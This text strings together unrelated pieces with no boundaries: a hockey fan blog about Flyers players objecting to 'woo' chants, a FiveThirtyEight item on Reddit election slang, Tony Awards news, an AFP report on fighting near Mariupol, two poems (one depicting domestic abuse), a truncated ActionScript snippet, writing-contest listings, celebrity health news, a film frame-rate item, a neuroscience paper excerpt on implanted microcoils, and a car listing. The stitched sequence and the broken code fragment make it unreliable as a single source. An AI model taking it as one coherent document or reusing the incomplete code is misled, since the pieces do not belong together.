And here comes Jakub Voracek, a man who is making ten million dollars this season, and it bothers him. A man who’s making eight figures in this season who is complaining that he’s bothered by the people, most of whom aren’t making that much, who give the organization some of that money he’s pocketing are having a good time. He’s mad about that. Mr. Moneybags thinks you’re being (bleeping) childish. Flyer, please. Joining him is Travis Konecny, a 19-year old making just shy of a million dollars in his first season of being a pro. He says it’s distracting - in a sport where bodies are crashing at each other at high speeds and players chirp profanities like water runs from a faucet. Sure. And they’re both supported by their manager, who may not be making $10 million but he’s certainly not driving a beater to games. He think it’s a fad when he’s more likely to get dumped from the bench before people want to stop stylin’ and profilin’ like the Nature Boy. And if they’re saying this, surely the other Flyers don’t like it all that much. The message from these near and multi-millionaires: Fans, stop having fun the way you want to have fun. We don’t like you enjoying yourselves this way.
The nerve of these people. The cheek of it. I despise the Flyers, but I feel for the Flyers fans for once. I really do.
And so I see an opportunity in tomorrow’s game. On December 22, the New Jersey Devils and the Flyers will play each other at the Rock. I suggest to all who are attending their game to woo it up. I want to hear it all game long, if possible. If you’re a Devils fan or someone who just hates Philadelphia, then you have something that can just irritate them. Again, it’s rare for the athlete to state that something inoffensive just plain bothers them. I don’t know of any other example in hockey. It may not stop how they play, but it can at least get under their skin. Give them the woo and give it to them often. It can ruin at least part of their night.
And if you’re a Flyers fan who made the trip up to Newark, well, first, I’m sure the Devils organization thanks you for your money. Second, you should woo at them too. Let them know that you’re your own fan and you’ll do as you please. Style and profile to your heart’s content.
I want a wave of woo’s on Thursday and in future Devils-Flyers games at the Rock. The classic Flair-style ‘woo’ will do just fine. I’m sure other ‘woo’s can work too. You can arch your back, cup your hands around your mouth, and let out a forceful ‘woo’ like you’re Sting. You can pump your fist or raise your arms like a champion and ‘woo’ after an exclamation like the late Owen Hart. You can even take care, spike your hair, and give out a ‘woo, woo, woo’ (you know it) like Zach Ryder. You can even do a dead-on impersonation of the Nature Boy like you’re Elizabeth’s own Jay Lethal. You don’t even need to do it like a wrestler. You can do it like the myriad of musicians and artists who bust out woo’s in song (e.g. several times in DMX’s “X Gon’ Give It to Ya” (I linked a cleaner version of it - also if you do this, don’t forget your ‘what’s’ and ‘uhs.’)). Although to paraphrase another one: Win if you can, lose if you must, but always, always woo. Let them hear you loud and proud, my fellow fans.
As for Voracek, Konecny, Hakstol, and the other Flyers who’ve soiled their grumpypants over woo’s by their fans a couple of weeks ago, I hope you express some more displeasure about it after Thursday’s game. Then I can give you three more words: Wah. Wah. Wah.The 2016 presidential race was interesting in a lot of ways, not least of which was how people used language. Both major-party nominees hurled insults — “basket of deplorables” from Hillary Clinton, “nasty woman” from Donald Trump — that supporters of their opponent quickly embraced as terms of empowerment. Metropolitan New York English underwent rapid meme-ification: A long time ago, somewhere in Brooklyn, Democratic primary candidate Bernie Sanders traded in the “h” in “huge” for a “y”; now-President Trump did the same in Queens, and in both cases, the internet took notice. And finally, Trump’s more extreme supporters and members of the political right deployed an entire specialized lexicon that included “cuck,” “centipede” and “Shillary.”
We’ve analyzed every comment posted to Reddit from October 2007 to December 2016 to track how people use language on the site. Search billions of Reddit comments »
In late 2015, we published a Reddit Ngram tool that tracked how often people used a given word or phrase on the internet message board over the previous eight years. Today, we’ve updated that tool with data through the end of 2016, so now you can use it to look at language trends throughout the campaign and into the post-election period. Reddit users are very much not representative of internet users in general, but the site is massive — it’s the seventh-most-visited site in the U.S. — and its users have posted billions of comments since its inception. And Reddit, in particular, became an outlet for a large group of Trump’s supporters, making its comments and threads especially interesting in the context of the election. Here, we’ve included some of the more compelling examples of election-related language trends, but we encourage you to check out the tool yourself and tweet @fivethirtyeight if you find something interesting.
LYIN’ TED vs. CROOKED HILLARY vs. LOW ENERGY
YUGE
FAKE NEWS
BUILD THE WALL vs. LOCK HER UP
I’M WITH HER vs. STRONGER TOGETHER
CUCK vs. CENTIPEDE
NASTY WOMAN vs. BAD HOMBRES
PEPE vs. DEPLORABLE
SHILLARY vs. KILLARY
DRUMPF vs. CHEETO JESUS
VIDEO: Is ‘fake news’ here to stay?Josh Groban plans to lead the cast of “Natasha, Pierre & the Great Comet of 1812” in a mash-up of the show’s ballad and its big dance number at the Tony Awards ceremony next month. Ben Platt expects to perform “Waving Through a Window,” an emotional song from “Dear Evan Hansen.” The cast of “Falsettos,” a show that closed in January, will reunite to perform a number from that musical.
There is still time for a change of plans, but at the moment it appears unlikely that Bette Midler, one of the biggest stars of the current Broadway season, will be singing during the June 11 CBS broadcast.
According to multiple people with knowledge of the broadcast plans, the producers of “Hello, Dolly!” and the producers of the awards show reached an impasse over the conditions under which Ms. Midler would sing, and as a result the plan is for her to present an award, but not to perform. Instead, her co-star and fellow nominee, David Hyde Pierce, is expected to perform a solo from the show.
The impasse was described by people who would not speak for attribution because of confidentiality rules imposed by the Tony Awards.Cars burned after shelling near a church in the southeastern Ukrainian city of Mariupol, Donetsk region, on February 25, 2015 (AFP Photo/Genya Savilov)
Kiev (AFP) - Ukraine accused pro-Russian separatists Monday of using mortars and a tank to fire on government positions near the eastern port of Mariupol in clashes that lasted several hours, violating a nearly month old ceasefire.
The militants had fired on Ukraine's positions and were attempting to "force our contingents from Shyrokyne," a village about 10 kilometres east of Mariupol on the Azov Sea coast, the headquarters of the army's operations in the east said in a Facebook post.
Mariupol, a steel-making city of 500,000, is the biggest urban centre in the conflict zone still controlled by Kiev. The frontline runs through Shyrokyne.
"Starting at 10:00 am (0800 GMT), the militants began to brazenly violate the Minsk accords, firing from 120-millimetre mortars and a tank at Ukrainian forces," said Oleg Sushinsky, a military spokesman in Mariupol, referring to the ceasefire signed in the Belarussian capital Minsk.
Four Ukrainian soldiers were wounded, he told AFP.
It was impossible to immediately verify his claims.
Use of heavy weapons would violate the February 12 Minsk deal, under which both sides were supposed to withdraw mortars, rockets and other large calibre arms from the frontlines to end fighting that has killed at least 6,000 people.
The defense minister of the self-proclaimed rebel Donetsk People's Republic, Eduard Basurin, told Russia's RIA Novosti website that rebels had not engaged in any offensive manoeuvres.
But a spokesman for the Azov volunteer battalion, which is fighting alongside government forces in Mariupol, said Shyrokyne had been the scene of sporadic clashes for several days.
The spokesman insisted that Ukraine had already removed artillery from the village, while Ilya Kiva, deputy head of government police forces in the disputed Donetsk region, said Ukrainian troops were in "very serious" trouble because of the withdrawals.
Many Ukrainians fear that any new offensive by the rebels would target Mariupol because of its strategic location and economic importance. The port was hit by a rocket attack in January that killed at least 30 civilians.
International observers trying to monitor the ceasefire and weapons withdrawal have repeatedly complained that rebels are denying them access to outlying areas of Mariupol.Study Leave
There is one tubelight in the hall
and the windows, whose glasses
are either broken or sold off,
give away more than they should.
I am studying the adjective clause
but can’t find one to describe my father.
What is it that he will blame my mother for tonight
before thrashing her against the wall?
I taper through the scissors of possibilities.
A private fear frosts my mind.
The cheerful poetry in the English textbook
against the bhendchods in the bedroom.
The god on one-half of the clock unsells himself.
Injustice rotates on my face with the minute hand.
Under the squeaky sound of the Usha fan
death promises to be a safer house.
The door clicks and wobbles my pause.
I miss a comma in the adjective clause.
Dapoli
(with a last line by Ingeborg Bachmann)
I have scored more points than both
of them combined. But wisdom is
knowing how little it means to win
a general knowledge game in Dapoli.
The night wrestles the summer away
from the singularity of a Surmai Fry.
We chuckle at the possibility of murder
and robbery by the sea’s lonesome wheezing.
Interesting are the stories that you don’t become.
Ameya probes me about general geography
and the capital of Estonia. I speak
about a Finnish friend who spends
his weekends in Tallin to party cheap.
We’re such slaves of anecdotes.
All memory is co-creation.
Serena and I haven’t reduced
to the pragmatism of sexual attraction.
Every time she laughs,
some Newtonian ether fills the room.
There’s no greater bond than humour
in the soporific joke of life.
The sea sets the rules we break
driving drunk through the velvety dark,
past the houses folded in light.
Mindful bickering of a mindless species.
Where we are, there is night.package {
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addChild(targetBMP);
myLoader.contentLoaderInfo.addEventListener(Event.COMPLETE, onLoad);
targetBMP.y=200;
myLoader.load(new URLRequest("sprite.png"));
addChild(myLoader);
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copyPixels(sourceBitmapData:BitmapData, sourceRect:Rectangle, destPoint:Point, alphaBitmapData:BitmapData = null, alphaPoint:Point = null, mergeAlpha:Boolean = false): |
receives K5,000 and a trophy. The best entries will be published in The Crocodile Prize Anthology. Entries close 31 May.
Literary Agent Christa Heschke of McIntosh & Otis
is seeking new clients. She is seeking picture books, middle grade, young adult and new adult projects, with a particular interest contemporary fiction, horror and thrillers/mysteries.
The Iowa Summer Writing Festival
held on the campus of the famous Iowa Writers’ Workshop offers an extensive program of weekend and one-week writing courses. The festival runs between 9 June and 28 July. Workshops are limited to 12 persons each and early registration is encouraged.
Pan Macmillan Australia’s Manuscript Monday
accepts unsolicited manuscript submissions between 10am and 4pm AEST every Monday. Types of works they are looking for include commercial fiction, children’s books and young adult, literary fiction and non-fiction. Interested authors should sent three chapters of their manuscript and a synopsis of up to 300 words. Manuscripts will be read within three months.
Soho Press
is one of few American publishers which puts a priority on unsolicited manuscripts from new writers. Interested authors should send three chapters (or fifty pages) and a cover letter to the attention of the acquisitions editor.
Follow @A_WritersStudioSANTA MONICA, CA - APRIL 10: Actress Valerie Harper attends Kinetic Content's 2nd Annual Anniversary and Celebration of Betty White's 'Off Their Rockers' at the Viceroy Hotel on April 10, 2012 in Santa Monica, California. (Photo by Charley Gallay/Getty Images for Kinetic Content)
Valerie Harper, who played Rhoda on "The Mary Tyler Moore Show," has announced that she has been diagnosed with a rare, terminal brain cancer, according to news reports.
People magazine reported that Harper, who is 73 and had previously battled lung cancer, has leptomeningeal carcinomatosis, which is incurable. Her neuro-oncologist, Dr. Jeremy Rudnick, told People magazine that treatment options are limited for the disease.
According to Fox Chase Cancer Center, the condition -- which is also called neoplastic meningitis -- occurs when cancer cells get into the membranes around the brain and spinal cord (called the meninges). It is quite rare, occurring in only about 5 percent of people with cancer.
"This is a really complicated condition," Rudnick explained to People. "The spinal fluid is a collection of fluid that's being circulated [through the brain] kind of like a sink. The fluid itself is growing cancer cells so they are multiplying in there. Those cells start to coat the brain."
Fox Chase Cancer Center explains why it's so hard to treat the disease:
It is difficult to treat because chemotherapy drugs injected intravenously (into a vein) often do not reach high enough concentrations in the meninges to be effective. As a result, chemotherapy for neoplastic meningitis is often given intrathecally, injected into the fluid-filled space between the meninges.
According to a 2009 article in the journal Cancer, there are no set guidelines for treating the condition. Another article, published in 2004 in the Annals of Oncology, says that the condition is usually diagnosed through brain imaging, such as MRI.Last year at the theater owners' CinemaCon convention in Las Vegas, James Cameron put together a lengthy presentation touting the virtues of faster frame rates. This year, exhibitors were able actually to see the new technology put to the test in a feature film with 10 minutes of footage from Peter Jackson's "The Hobbit: An Unexpected Journey."
Jackson has shot the new film, due out in December, at 48 frames per second. For roughly 80 years, the standard industry frame rate -- the frequency at which images are projected -- has been 24 frames per second (Hence the name of this blog). Cameron, incidentally, has vowed to shoot the sequel to "Avatar" at an even quicker rate of 60.
In a filmed video message from New Zealand shown to exhibitors Tuesday, Jackson implored theater owners to project his new film at 48 frames per second. The new speed, he said, gives the "illusion of real life, where movement feels smoother, and you're not dealing with strobing."
Indeed, the footage shown did seem hyper-realistic. An opening aerial shot of dramatic rocky mountains appeared clearer than the images in most nature documentaries. But the effect was different when applied to scenes with actors dressed in period costume, whose every move -- and pore -- was crystal clear. Such realism put off some trade show attendees, who complained the footage didn't feel enough like a traditional film.( A ) Plots of the electric fields (middle) and the field gradients (right) arising from the microcoil (left) in the x direction (dEx/dx) along the x axis for three different vertical cross sections through the coil. The red dashed lines in the gradient plot indicate estimated threshold levels from earlier studies with transcranial magnetic stimulation coils (see text). ( B ) Plots of the electric fields (middle) and the spatial gradients (bottom) in the x direction (dEx/dx) along the y axis for three horizontal cross sections. ( C ) Extracted portion of the field gradient profiles for different amplitudes along the x axis for values of x ≥ 0. ( D ) Similar to (C), but for the field gradients along the y axis for values of y ≤ 0. ( E ) Contour plots of suprathreshold gradient areas for different current amplitudes.
Although the spatially narrow regions of activation estimated in Fig. 1 are highly attractive for applications in which focal activation is required, it is well established that prolonged implantation into the cortex induces a foreign body response that can lead to the formation of a high-impedance glial sheath around the implant with a resultant increase in distance to targeted neurons ( 11, 12 ). Migration of neurons away from the implant can also occur as part of the foreign body response ( 22 ), and migration distances of ~75 μm were reported even for implants that did not deliver stimulation. The increased distance to viable neurons raises the possibility that the spatially narrow fields and gradients arising from low-amplitude stimuli may not extend far enough for the coil to remain effective following prolonged implantation. We therefore examined how the spatial extent of the induced fields and gradients was altered by changes to the amplitude of stimulation. We started by more closely examining the profiles of fields and gradients for the same 1-mA stimulus used in Fig. 1. One-dimensional plots of fields and vertical gradients (dEx/dx) were generated for multiple sections through the coil in both the vertical and horizontal directions ( Fig. 2, A and B, respectively; the red dashed line in each plot of gradients represents the previously reported threshold level of 11,000 V/m 2 ). The portions of the trace in which the gradient exceeds the threshold provide an estimate of the approximate extent over which activation would occur. Because activation will be limited to only those regions that are external to the coil perimeter, we restricted our focus to the region to the left of the blue dotted line in Fig. 2A and outside the two blue dotted vertical lines in Fig. 2B. With this approach, the extracted portion of dEx/dx along the x axis is plotted in Fig. 2C (black) for a 1-mA stimulus, whereas the relevant portion of dEx/dx along the y axis is plotted in Fig. 2D (black). We performed a similar analysis for larger stimulus amplitudes (10, 25, 50, and 100 mA) and overlaid the corresponding traces (red, blue, green, and pink, respectively). Comparison of the individual plots reveals not only that the suprathreshold region increases with amplitude but also that it is asymmetric in the x and y directions; for example, for an amplitude of 100 mA, the suprathreshold region extends ~151 μm along the x axis and 414 μm along the y axis. To better visualize the full extent of this region, we developed a two-dimensional contour plot for all amplitudes ( Fig. 2E ). The plots confirm the sensitivity of this region to changes in amplitude as well as the relatively wide spatial extent over which the field gradient is suprathreshold for higher stimulus amplitudes. Note that even the largest stimulus amplitude used in Fig. 2 is well below the levels used in the original in vitro ( 13 ) and in vivo studies ( 23 ). Thus, the model results suggest that implanted microcoils will be able to effectively activate neurons over a spatially extensive region, for example, beyond the extent over which gliosis and cellular migration occur. Because magnetic fields pass readily through even high-impedance materials, the ability of implanted coils to reach these more distant regions may not be adversely affected, even by severe gliosis, the way that they can with electrodes.
The coil shown in Fig. 1A is still considerably larger than existing cortical implants, so we explored whether even smaller designs could also generate suprathreshold fields and gradients. Consistent with electromagnetic theory, the peaks in dEx/dx were localized to the corners of the coil, that is, the regions containing sharp bends in the flow of current, and therefore we considered the possibility that even a single sharp bend of a wire might generate fields and gradients strong enough for activation. Accordingly, we considered the design of Fig. 1B (left, red thick trace). The 100-μm width of this coil would fit within a single cortical column and would be comparable in size to existing electrode implants, suggesting that it could be implanted safely into the cortex. The peak strength of the field gradient calculated for this coil was 49 kV/m 2 ( Fig. 1B, middle and right panels), almost identical to that of the larger single loop; the spatial extent over which the gradient exceeded the threshold for the 1-mA stimulus was again narrowly confined, extending only ~60 μm.
( A ) Surface (middle) plot of the electric field gradients in the x direction (dEx/dx) arising from the 500-μm square coil on the left (red). Note that the horizontally oriented peaks in the surface plot indicate the peak gradients in a direction normal to the cortical surface, that is, up and down in the cortical column representation on the left. Right: Two-dimensional profile of the gradients in the vertical (dEx/dx, top) and horizontal (dEz/dz, bottom) directions; the “0” on the abscissa corresponds to the bottom right corner of the coil. The horizontal lines indicate estimated threshold levels from earlier studies with much larger coils (see text). Dashed vertical lines indicate the width of the suprathreshold region. ( B ) Similar to (A), except for a 100-μm trapezoidal coil.
To better understand whether coils that are small enough to be implanted can activate cortical neurons, we modeled the fields arising from a single loop of the inductor used in previous microcoil studies ( 13, 14, 19 ). The dimensions of the loop were 500 μm × 500 μm, and the wire thickness was 10 μm ( Fig. 1A, left). After deriving the magnetic and electric fields that arose from the single loop (Materials and Methods), we calculated the gradient of the electric field along three orthogonal dimensions; the strength of the gradient along the length of a neuron or axon is known to underlie activation ( 5, 20 ), so surface plots that displayed the field gradient across the region surrounding the coil ( Fig. 1A, middle) could be used to quickly assess potential effectiveness. We were especially interested in the component of the gradient oriented normal to the cortical surface (dEx/dx using the axes of Fig. 1 ), because this represents the driving force for activation of vertically oriented PNs. Whereas the peak amplitude of the stimulus current through the coil in previous studies could exceed 1 A, here we found that an amplitude of 1 mA produced a peak field gradient of ~50,000 V/m 2 ( Fig. 1A, right), a value well above the 11,000-V/m 2 threshold previously reported for stimulation of peripheral axons with a transcranial magnetic stimulation coil ( 21 ). This therefore suggests that even a single loop of appropriately aligned coil could be effective for activating PNs. The spatial extent over which the peak field exceeded the threshold extended for only ~75 μm from the coil ( Fig. 1A, top right) and therefore suggests that activation could be confined to only a few nearby cells. For the orientation of the coil in Fig. 1A, the component of the gradient that was parallel to the passing axons of layers 1 and 4 (dEz/dz) was 0 V/m 2 ( Fig. 1A, bottom right), suggesting that those axons or similarly oriented processes would not be activated.
Fabrication of microcoil probes and in vitro experiments
To verify that the new microcoils could activate cortical neurons, we microfabricated the coil design of Fig. 1B for use in physiological experiments (Materials and Methods; Fig. 3A). The coil consisted of a copper trace (10 μm wide × 2 μm thick) on a silicon substrate that had a cross-sectional area of 50 μm × 100 μm and a length of 2000 μm. The coil assembly had a dc resistance of ~15 ohms and was insulated with 300 nm of SiO 2 (Materials and Methods) to prevent the leakage of electric current into the tissue. A second, similarly sized microcoil was also constructed by carefully bending a 50-μm-diameter copper wire (Fig. 3B). Although this second coil did not have as sharp a bend as the microfabricated coil, the thicker cross-sectional area of the wire allowed stronger currents. Five-micrometer polyurethane/polyamide insulation prevented the leakage of electrical current from this second coil into the bath or tissue. Its resistance was ~13 ohms.
Fig. 3 Microcoils activate cortical PNs in vitro. (A) Schematic of the microfabricated coil consisting of a copper trace (red) on a silicon substrate (yellow). (B) Illustration of the bent-wire microcoil. The 50-μm copper wire (red) is surrounded by 5-μm polyurethane/polyamide insulation. (C) Responses to subthreshold (left) and suprathreshold stimulation (right) in the presence of synaptic blockers (top traces) and with TTX added (bottom traces). The blue curves were computed by subtracting the TTX traces from the corresponding traces in the top panels. The asterisk indicates the evoked action potential. (D) Action potentials (APs) could also be extracted without the use of TTX by subtracting a response without a presumed spike (artifact only) from a response with a spike; the black trace is such a spike [different cell from (C)]. A spontaneous spike from the same cell is overlaid (green). (E) Schematic of the in vitro experimental setup. A cell-attached patch electrode was used to record from the soma of an L5 PN in response to stimulation from the microcoil; the long axis of the coil could be positioned either normal to (top) or parallel to the slice surface (bottom). In all cases, the tip of the coil was positioned over the proximal axon. The red dashed and solid horizontal arrows represent weak and strong (respectively) electric fields induced along the length of the axon. AIS, axon initial segment. (F) Typical responses for each orientation. Stimulation was delivered at a rate of 100 Hz; the stimulus artifact indicates the timing of each pulse. The prominent after-hyperpolarizations seen following each pulse in the bottom traces are reliable indicators of elicited spikes. (G) Probability of eliciting an action potential as a function of stimulation current amplitude for control artificial cerebrospinal fluid (aCSF) (left, n = 7 cells) and with synaptic blockers added (right, n = 4 cells). (H) Onset latencies of evoked spikes were plotted for 10 consecutive pulses delivered at 100 Hz in 11 individual neurons. All spikes were elicited within 0.3 to 0.7 ms after onset of the stimulus. (I) Same as (H), but with synaptic blockers added to the perfusion bath (n = 4 cells). (J) Schematic of the experimental setup showing the coil positioned over the apical dendrites in either a perpendicular (top) or a parallel orientation (bottom). (K) Typical responses to apical dendrite stimulation for each orientation. The red horizontal bar indicates the duration over which stimulation was applied.
Fabricated microcoils were first tested for their ability to activate cortical neurons during in vitro experiments using coronal brain slices from mice (Materials and Methods; Fig. 3, C to K). A loose-seal cell-attached patch-clamp electrode was positioned on the soma of a targeted layer 5 (L5) PN within the whisker (motor) cortex and used to record action potentials elicited by magnetic stimulation from the microcoil (Materials and Methods). Patch-clamp recordings have proven effective for allowing visualization of elicited action potentials in previous studies with electric stimulation because the amplifiers are not saturated by the stimulus; for example, the electrical artifact associated with the stimulus does not preclude observation of neuronal responses (24, 25). The coil was positioned close to the targeted cell with the tip centered over the proximal axon, the portion of the cell that was thought to have the highest sensitivity to stimulation (26, 27). To ensure that observed responses arose from direct activation of the cell itself, that is, not secondary to activation of one or more presynaptic neurons, we added 10 μM 2,3-dihydroxy-6-nitro-7-sulfamoyl-benzo[f]quinoxaline (NBQX), 10 μM bicuculline, and 50 μM d-2-amino-5-phosphonopentanoic acid (d-APV) to the perfusion bath in some experiments to block synaptic input to the cell. Stimulation at relatively low amplitude levels produced an electrical artifact that consisted of a short-duration biphasic waveform that persisted for ~0.4 ms (Fig. 3C, top left). Increasing the amplitude of stimulation slightly produced a similar artifact but now continued into a more prolonged waveform (Fig. 3C, top right). The addition of 1 μM tetrodotoxin (TTX) to the bath eliminated the prolonged part of the response (Fig. 3C, bottom right, red trace), suggesting that it was an action potential, and subtraction of the response in TTX from the corresponding control response revealed a waveform (blue trace) that was highly similar to those action potentials that arose spontaneously. Elicited action potentials could also be extracted from the raw recordings (without the use of TTX) by subtracting responses that contained the artifact only from those that contained an artifact plus an action potential (Fig. 3D, black); this process revealed a waveform that again had amplitude and kinetics that were nearly identical to those from a spontaneous action potential (Fig. 3D, green trace). This suggests that the direct subtraction method for identifying action potentials is comparably effective to the use of TTX. Together, these experiments indicate that magnetic stimulation from microcoils can elicit action potentials through direct activation of L5 PNs.
To explore the ability of the coils to selectively target neurons, we ran experiments in which the orientation of the coil was varied relative to the orientation of the targeted PN. Initially, the plane of the coil was held perpendicular to the surface of the slice (Fig. 3E, top), resulting in a weak electric field and gradient along the length of the neuron. As expected, this configuration was not effective (Fig. 3F, top), even for the strongest amplitude that could be delivered by our system. The coil was then reoriented with its flat surface approximately parallel to the slice surface (Fig. 3E, bottom); this orientation is similar to that which would arise during insertion of the microcoil into the intact cortex and resulted in a strong gradient along the length of the neuron that led to robust spiking (Fig. 3F, bottom); note that the presence of the positive-going after-hyperpolarization that closely follows each stimulus provides a clear marker for the presence of an elicited action potential (24). With direct activation, individual stimuli could each induce a single action potential at even the fastest rates tested (up to 100 Hz; n = 11 of 11; Fig. 3F, bottom). Similar to electric stimulation, stronger levels of magnetic stimulation increased the likelihood that a given pulse would elicit a spike (Fig. 3G, left; n = 7) and revealed thresholds of 44.21 ± 7.31 mA (SD) for direct activation. The sensitivity to stimulation in these cells was not significantly affected by the addition of synaptic blockers to the perfusion bath (Fig. 3G, right; n = 4). The ability to extract and visualize individual spikes also allowed the timing of individual spikes to be precisely determined and revealed onset latencies of ≤1.0 ms (Fig. 3H). As expected from spikes that are directly activated, latencies were not sensitive to the addition of synaptic blockers (Fig. 3I).
Repositioning the coil such that its tip was over the apical dendrite of the targeted neuron (Fig. 3J) allowed the sensitivity of this portion of the neuron to be explored as well. Once again, orienting the plane of the coil perpendicular to the slice surface (Fig. 3J, top) resulted in very weak electric fields along the neuron and did not produce spiking (Fig. 3K, top). However, alignment of the coil parallel to the surface of the slice (Fig. 3J, bottom) produced robust spiking (n = 8; Fig. 3K, bottom). The onset latencies of spikes elicited by stimulation over the apical dendrite were not well correlated to individual stimuli and were typically ≥3 ms, suggesting that spikes were mediated through the activation of the surrounding neural network. The addition of pharmacological blockers of excitatory synaptic input to the perfusion bath [10 μM CNQX (6-cyano-7-nitroquinoxalene-2,3-dione) and 50 μM d-APV] eliminated these responses, thereby confirming their presynaptic origin. The thresholds for indirect activation were 46.50 ± 11.78 mA (SD), and therefore both modes of activation had similar thresholds. Consistent with previous electric stimulation studies (6, 28, 29), it was not possible to elicit an individual action potential for each stimulus via indirect activation, even at the highest stimulus amplitudes. We did not attempt to identify the specific presynaptic neuron(s) activated by stimulation over the apical dendrite, but the high sensitivity of L5 PNs to vertically oriented electric fields raises the possibility that another vertically oriented neuron is activated; L2/3 PNs are an obvious possibility, especially because they are known to make excitatory synapses to L5 PNs. It is, of course, possible that multiple neuronal types are activated by stimulation from the microcoil, and further testing will be required to identify the specific types activated as well as to elucidate the subsequent synaptic interactions that occur.
For direct activation, thresholds were generally lowest when the tip of the coil was situated over the proximal axon at a distance of ~50 μm from the soma. Previous studies with electric stimulation have shown that the threshold for direct activation is minimized when the electrode is precisely centered over the dense band of sodium channels within the spike initiation zone of the proximal axon (26, 30), and it is likely that the lowest thresholds here arise because of the proximity to this location. However, we did not typically expend the considerable time and effort required to determine the exact location at which threshold is minimized (26), and so the 44.21-mA value reported here may not represent the absolute minimum threshold that can be obtained. For indirect activation, thresholds were generally lowest when the coil was over the apical dendrite at a distance of ~200 μm from the soma, although once again we did not systematically attempt to find the location for which threshold was minimized. Despite the fact that the values obtained here do not necessarily represent the absolute minimum thresholds, the levels that are reported here are still considerably lower than those reported with the previous microcoil for in vitro activation (13, 19). For example, previous work with the original microcoil (inductor) required thresholds of 717 mA for activation (13), whereas the thresholds for in vitro activation here were 44.21 mA (~16× reduction; see fig. S1 for further comparison of power levels). The lower threshold levels that were observed here likely arose because the smaller size of the coil not only generated stronger fields but also allowed for closer proximity to targeted neurons. Note also that for the responses that arose through indirect activation (Fig. 3K, bottom), the electrical artifact arising from the stimulus was quite small. This is consistent with the spatially narrow extent of the induced electric fields (Fig. 2) versus the relatively large separation between the coil and the recording electrode. Minimization of the stimulus artifact is a highly attractive feature, especially for efforts in which it is essential to record the response to artificial stimulation (31).
To better explore the spatial extent of magnetic stimulation as well as its ability to selectively activate specific orientations, we ran an additional series of experiments using brain slices from GCaMP6 mice (Materials and Methods). Cortical PNs from these animals express a calcium indicator that increases its level of fluorescence in response to spiking; similar to previous reports (32, 33), we observed low levels of fluorescence in the somas of individual L5 PNs (Fig. 4, A and C). Before measuring the responses to magnetic stimulation, we first examined the responses that arose from electric stimulation delivered via a conventional implantable electrode (Materials and Methods). At low levels of stimulation, there was little change in fluorescence, but as the amplitude of stimulation increased, the region over which fluorescence increased became progressively larger (Fig. 4B); this is consistent with results from previous studies of electric stimulation in vivo (6). At the highest level of stimulation tested here, a 200 μm × 200 μm region of the slice was strongly activated and uniformly extended in all directions. Similar to electric stimulation, low levels of magnetic stimulation also produced little change in the level of fluorescence, and higher levels resulted in increasing areas of activation (Fig. 4D). However, the spatial extent of activation was more narrowly confined with magnetic stimulation, and the location over which cells were activated was consistent with the predictions that arose from computational modeling (Figs. 2 and 4F). Although the responses shown in Fig. 4 (B and D) reflect the fluorescence of both somas and the surrounding neuropils (that is, axons and dendrites), the analysis could also be restricted to evaluate fluorescence changes in somas only (6, 32, 33). For the strongest stimulus tested here (52 mA), somas up to a distance of 160 μm from the coil exhibited robust increases (ΔF/F > 5 to 10%) in fluorescence (Fig. 4E), whereas smaller increases (ΔF/F > 1 to 3%) in fluorescence were exhibited by cells even further away. Thus, consistent with the modeling predictions of Fig. 2E, magnetic stimulation from these coils can modulate activity well beyond the region over which encapsulation and cell migration are expected to occur (11, 22, 34, 35), thereby suggesting that these coils can remain viable during chronic implantation.
Fig. 4 Comparison of spatial extent of excitation. (A) Light microscope photograph of a microelectrode situated over a V1 coronal slice from Thy1-GCaMP6f transgenic mice. The somas of individual neurons from L5 can be observed. (B) The change in fluorescence in response to three different levels of stimulation from an electrode. The tip of the electrode is seen as a downward-pointing triangle at the top of each image. The yellow triangle and the dashed line indicate the approximate orientation of cortical columns. (C) Similar to (A), showing the microcoil implanted over the V1 slice. The approximately semicircular tip of the coil is seen at the top of the image. (D) The change in fluorescence in response to three different levels of magnetic stimulation. (E) A region of interest (ROI) was defined for individual PNs on the basis of the somatic outline and used to calculate the cellular calcium fluorescence transients in each cell. Red neurons show strong calcium transients (ΔF/F >5%); yellow and green neurons indicate moderate (ΔF/F > 3%) and weak calcium transients (ΔF/F > 1%), respectively. Blue neurons indicate no observable increase in calcium fluorescence. (F) Schematic diagram illustrating the region over which PNs are predicted to be activated by stimulation from the coil. The proximal axon of PNs at location A (blue soma) is aligned with the region for which the induced field gradient (along the length of the neuron) is suprathreshold (yellow circular region); the apical dendrites of other neurons (location B, red soma) also extend into the suprathreshold region and become activated as well; and the processes of neurons that do not extend into the strong gradient region (location C, green soma) do not become activated. (G) Average calcium transient responses for the L5 PNs depicted in (F).
To eliminate the possibility that nonmagnetic factors contributed to the spiking responses observed here, we performed a series of control experiments, similar to the ones performed with the larger microcoil in earlier studies (13, 19). For example, the integrity of the coil insulation was tested regularly by measuring the impedance to ground; values were typically ~1 gigohm and were always greater than 200 megohms, thereby eliminating the possibility of direct electric stimulation contributing to observed responses. We also monitored the temperature in the bath as well as in the surrounding brain tissue during magnetic stimulation and observed increases of less than 1°C, well below the threshold for thermal activation of neurons (36–38). Capacitive currents can be transmitted through the coil insulation and have previously been shown to be effective for neuronal activation (39). However, there was no return electrode in the recording chamber in our experiments, and hence currents were not “forced” through the tissue as they were in a previous study (39). Although this greatly reduces the potential likelihood of capacitive activation, we nevertheless ran a control experiment in which a large transient current was used to “burn” a small portion of the coil, thereby leaving an open circuit; the transient current was not strong enough to also burn through the surrounding insulation, and thus there remained no potential for direct electrical activation. The subsequent delivery of stimulation to the “broken” coil produced a voltage differential across the open circuit, essentially acting as a capacitor. However, this approach was not effective for eliciting neural activity and therefore suggests that the observed responses were not mediated through capacitive activation. Finally, to eliminate the possibility that one or more (noncoil) hardware elements from our experimental setup might be generating the fields that are responsible for neuronal activation, care was taken to leave all hardware components in a fixed position across all experiments. In this manner, the only component that was not spatially fixed across trials was the orientation of the coil relative to targeted cells. Because some experiments induced neuronal responses whereas others did not, it is unlikely that any of the noncoil hardware components contributed meaningfully to activation, and we conclude that the fields arising from an appropriately oriented microcoil were the primary source of activation.Comments
1960 Mercedes-Benz 300SL Roadster
s/n 198.042 10-002559, engine no. 198.980 10-002614
Silver with Black Leather Interior
